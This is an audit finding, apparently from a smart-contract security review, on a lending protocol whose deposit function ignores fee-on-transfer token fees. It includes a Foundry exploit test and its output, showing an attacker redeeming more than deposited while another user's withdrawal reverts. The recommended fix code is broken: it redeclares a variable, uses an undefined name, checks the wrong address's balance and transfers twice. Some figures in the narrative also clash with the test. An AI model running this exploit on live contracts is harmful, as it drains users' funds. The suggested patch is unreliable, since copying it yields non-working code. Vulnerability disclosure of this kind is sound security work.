Summary
deposit function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset then it's supposed to be.
Vulnerability Details
Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens.
Deposit function mint the tokens that user has inputted in the params and mint the same amount of Asset token.
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
@> uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
As you can see in highlighted line, It calculates the token amount based on amount rather actual token amount received by the contract. If any fees token is supplied to contract, then redeem function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw there underlying token ever.
Proof of Concept
Token like STA and PAXG has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of STA here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount.
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
Alice initiate a transaction to call deposit with 1 million STA. Attacker notice the transaction and deposit 2 million STA before him. So contract will be receive 990,000 tokens from Alice and 198000 tokens from attacker.
Now attacker call withdraw the STA token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him.
Here is given example in foundry where we set asset token which has 1% fees.
in BaseTest.t.sol
we import custom erc20 for underlying token creation which has 1% fees on transfers.
CUSTOM MOCK TOKEN
pragma solidity ^0.8.0;
import {ERC20} from "../token/ERC20/ERC20.sol";
contract CustomERC20Mock is ERC20 {
constructor() ERC20("ERC20Mock", "E20M") {}
function mint(address account, uint256 amount) external {
_mint(account, amount);
}
function burn(address account, uint256 amount) external {
_burn(account, amount);
}
function _transfer(address from, address to, uint256 amount) internal override {
_burn(from, amount/100);
super._transfer(from, to, amount - (amount/100));
}
}
updated BaseTest.t.sol file
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
+ import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract BaseTest is Test {
ThunderLoan thunderLoanImplementation;
MockPoolFactory mockPoolFactory;
ERC1967Proxy proxy;
ThunderLoan thunderLoan;
ERC20Mock weth;
- ERC20Mock tokenA;
+ CustomERC20Mock tokenA;
function setUp() public virtual {
thunderLoan = new ThunderLoan();
mockPoolFactory = new MockPoolFactory();
weth = new ERC20Mock();
- tokenA = new ERC20Mock();
+ tokenA = new CustomERC20Mock();
mockPoolFactory.createPool(address(tokenA));
proxy = new ERC1967Proxy(address(thunderLoan), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(mockPoolFactory));
}
}
pragma solidity 0.8.20;
import { Test, console2 } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";
contract ThunderLoanTest is BaseTest {
uint256 constant ALICE_AMOUNT = 1e7 * 1e18;
uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18;
address attacker = address(789);
address alice = address(0x123);
MockFlashLoanReceiver mockFlashLoanReceiver;
function setUp() public override {
super.setUp();
vm.prank(user);
mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan));
}
function testAttackerGettingMoreTokens() public setAllowedToken {
tokenA.mint(attacker, ATTACKER_AMOUNT);
tokenA.mint(alice, ALICE_AMOUNT);
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
vm.stopPrank();
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(address(asset));
uint256 difference = ATTACKER_AMOUNT - contractBalanceAfterAttackerDeposit;
uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
console2.log(contractBalanceAfterAttackerDeposit, "Contract balance of token A after first deposit");
console2.log(attackerAssetTokenBalance, "attacker balance of asset token");
console2.log(difference, "difference b/w actual amount and deposited amount");
vm.startPrank(alice);
tokenA.approve(address(thunderLoan), ALICE_AMOUNT);
thunderLoan.deposit(tokenA, ALICE_AMOUNT);
vm.stopPrank();
uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(asset)) - contractBalanceAfterAttackerDeposit;
console2.log(ALICE_AMOUNT, "Actual input by alice");
console2.log(actualAmountDepositedByUser, "Actual balance Deposited by Alice");
console2.log(tokenA.balanceOf(address(asset)), "thunderloan balance of Token A after Alice deposit");
console2.log(asset.balanceOf(alice), "Alice Asset Token Balance");
vm.startPrank(attacker);
thunderLoan.redeem(tokenA, asset.balanceOf(attacker));
console2.log(tokenA.balanceOf(attacker), "AttackerBalance");
vm.stopPrank();
vm.startPrank(alice);
uint256 amountToClaim = asset.balanceOf(alice);
vm.expectRevert();
thunderLoan.redeem(tokenA, amountToClaim);
vm.stopPrank();
}
}
run the following command in terminal forge test --match-test testAttackerGettingMoreTokens() -vv
it will return something like this-
[⠒] Compiling...
[⠊] Compiling 1 files with 0.8.20
[⠒] Solc 0.8.20 finished in 1.94s
Compiler run successful!
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testAttackerGettingMoreTokens() (gas: 1265386)
Logs:
19800000000000000000000000 Contract balance of token A after first deposit
20000000000000000000000000 attacker balance of asset token
200000000000000000000000 difference b/w actual amount and deposited amount
10000000000000000000000000 Actual input by alice
9900000000000000000000000 Actual balance Deposited by Alice
29700000000000000000000000 thunderloan balance of Token A after Alice deposit
9970089730807577268195413 Alice Asset Token Balance
19879279219760479041600000 AttackerBalance
Impact
Loss of user funds
Tools Used
Manual Review, Foundry
Recommendations
Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.
uint256 amountBefore = IERC20(token).balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(assetToken), amount);
uint256 amountAfter = IERC20(token).balanceOf(address(this));
uint256 amount = AmountAfter - amountBefore;
deposit function can be written like this.
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
+ uint256 amountBefore = IERC20(token).balanceOf(address(this));
+ token.safeTransferFrom(msg.sender, address(assetToken), amount);
+ uint256 amountAfter = IERC20(token).balanceOf(address(this));
+ uint256 amount = AmountAfter - amountBefore;
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
